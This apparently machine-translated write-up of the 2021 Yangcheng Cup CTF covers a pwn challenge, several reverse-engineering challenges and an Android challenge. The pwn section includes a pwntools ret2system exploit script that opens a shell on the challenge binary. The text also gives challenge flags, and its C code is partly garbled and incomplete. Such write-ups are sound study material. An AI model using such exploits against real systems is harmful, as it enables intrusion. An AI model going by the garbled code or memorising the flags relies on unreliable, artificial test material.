2021 Yangcheng cup CTF wp

1. Sign in

The point of comparison is that "let's see * * *" is 17. It took a long time to guess
Get flag SangFor{d93b7da38d89c19f481e710ef1b3558b}


I haven't done pwn it for ten thousand years. I took a look in order to cheat some points.

  1. Stack overflow in fgets
  2. No cannery protection
  3. There is a system function (or func1), and there is a / cin/sh string
    So you can get the shell directly. Pit points cannot use / cin/sh and / sh. to execute system("sh")
from pwn import *
elf = ELF('./BabyRop')
#p = process('./BabyRop')
p = remote('',11000)

func1 = 0x080491D6
cbinsh = 0x0804C024+5
main = 0x0804926B
Go = 0x08049227
payload = b'a'*44+p32(func1)+p32(Go)+p32(cbinsh)




Look at the title and you will know that it has been modified. Save after self decryption. The self decryption method circularly shifts 3 bits to the right, and then XOR with 0x5A

A bit like a deformed base64. It also changes 3 characters into 4 characters, as well as look-up table and XOR.
The key point is to find out where three characters are divided into four characters

Just give the code. Get the final flag:SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}

#include <stdio.h>

unsigned char table[] = {

int main()
	unsigned char encode[] = "H>oQn6aqLr{DH6odhdm0dMe`MBo?lRglHtGPOdobDlknejmGI|ghDb<4";
	for (int i = 0; i < 56;i += 4)
		unsigned char t1=0, t2=0, t3=0, t4=0;
		unsigned char d1=0, d2=0, d3=0;
		unsigned char idx1 = 0, idx2 = 0, idx3 = 0, idx4 = 0;
		t1 = encode[i] ^ 0xa6;
		t2 = encode[i + 1] ^ 0xa3;
		t3 = encode[i + 2] ^ 0xa9;
		t4 = encode[i + 3] ^ 0xac;
		for (; idx1 < 64; idx1++)
			if (t1 == table[idx1])
		for (; idx2 < 64; idx2++)
			if (t2 == table[idx2])
		for (; idx3 < 64; idx3++)
			if (t3 == table[idx3])
		for (; idx4 < 64; idx4++)
			if (t4 == table[idx4])
		d1 = (idx1 & 0x3f) << 2 | (idx2 & 0x30) >> 4;
		d2 = (idx2 & 0xf) << 4 | (idx3 & 0x3c) >> 2;
		d3 = (idx3 & 0x3) << 6 | (idx4 & 0x3f);
		printf("%c%c%c", d1, d2, d3);

4. Ez_android

You can directly find user:admin md5 in the string and get the password:654321 through online query. Successfully passed the first level.

Through verification, you will connect 20080 to obtain the key.

Finally, you also need to input the flag, deform the flag base64, and table is the string obtained in the previous step

I found a base64 deformed code on the Internet and got the flag:SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}

import base64
import string

string = "3lkHi9iZNK87qw0p6U391t92qlC5rwn5iFqyMFDl1t92qUnL6FQjqln76l-P"

tableBase64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
tableNew    = "TGtUnkaJD0frq61uCQYw3-FxMiRvNOB/EWjgVcpKSzbs8yHZ257X9LldIeh4APom"

maketrans(): It is used to create a conversion table for character mapping. For the simplest call method that accepts two parameters, the first parameter is a string, which represents the character to be converted, and the second parameter is also a string, which represents the target of conversion;
translate(): Method according to parameters table Table given(Contains 256 characters)Convert character of string, The characters to be filtered are placed in the del Parameter;
decode(): with encoding Decodes the string in the specified encoding format.

'1.Change table'
maketrans = str.maketrans(tableNew, tableBase64)
'2.Convert string using new table'
translate = string.translate(maketrans)
'2.Base64 decode'
flag = base64.b64decode(translate)

Three in one operation:
flag = base64.b64decode(string.translate(str.maketrans(tableNew, tableBase64)))

print (flag)


Inspection 1:

The limit flag length is 41, starting with sangfor {, and the first 12 bytes are 0-9A-F+4 bytes 0-9a-f+16 bytes 0-9A-F.
Then, the flag body will be converted into hex every 4 bytes. For example, "ABCD" will become 0xABCD

Verification 2:

We record the numbers of each verification as X and Y, and then we will encrypt X and Y to obtain v48 and 0x249e15c5 for comparison

The two while loops in the middle are simplified as follows. The while loop in the middle only makes an xor

	tmp = y&x
	y = x^y
	x = 2*(tmp)

Inspection 3:

Comparing the encryption of Y with 0xFFFF59BC can restrict the above situation to only one solution

Method of cracking

Because both X and y are 0x0000-0xFFFF, the range is not very large. Violent methods can be used to record all x and Y records whose verification 1 result is 0x249e15c5, and dynamic debugging can be used to verify verification 2


int main()
	for (int x=0; x < 0xffff; x++)
		for (int y=0; y < 0xffff; y++)
			int tmp = 0, tmpx = 0, tmpy = 0;
			int tmpyy = y,tmpxx=x;
			for (; tmpyy; tmpyy >>= 1)
				if ((tmpyy & 1) != 0)

					tmpx = tmpxx;
						tmp = tmpy & tmpx;
						tmpy = tmpx ^ tmpy;
						tmpx = 2 * (tmp);
						//if (x == 0x1234 && y == 0x5678)printf("tmp:%x tmpx:%x tmpy:%x\n",tmp,tmpx,tmpy);
					} while (tmpx);
				tmpxx *= 2;
			if (tmpy == 0x249e15c5)
				printf("x:%x y:%x\n", x, y);

Two records were obtained by blasting. After dynamic debugging, verification and verification 2, the first 8 characters of the flag were 2C7BD2BF

[*]x:2C7B y:D2BF sure
[*]x:D2BF y:2C7B


Similarly, all flag s can be obtained by blasting: SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}

0x249E15C5 0xFFFF59BC
[*]x:2c7b y:d2bf sure
[*]x:d2bf y:2c7b

0x34C7EAE2 0x216B
[*]x:596E y:9717
[*]x:64BA y:8625
[*]x:8625 y:64BA sure
[*]x:9717 y:596E

0x637973BA 0x819D
[*]x:6B6E y:ED0B
[*]x:ED0B y:6B6E sure

0xE5FD104 0x9393
[*]x:1214 y:CB8D
[*]x:15BC y:A94F
[*]x:18BB y:94CC
[*]x:2533 y:62EC
[*]x:3176 y:4A66
[*]x:4A66 y:3176
[*]x:62EC y:2533
[*]x:94CC y:18BB
[*]x:A94F y:15BC
[*]x:CB8D y:1214


The competition is not very difficult, and many big teams have gone to the RCTF. The competition process is still very good.
I haven't touched the reverse of VM. When I'm free, I'll make up the remaining reverse Easy_VM, safe box and OddCode

Tags: security CTF

Posted on Fri, 19 Nov 2021 23:36:54 -0500 by imnu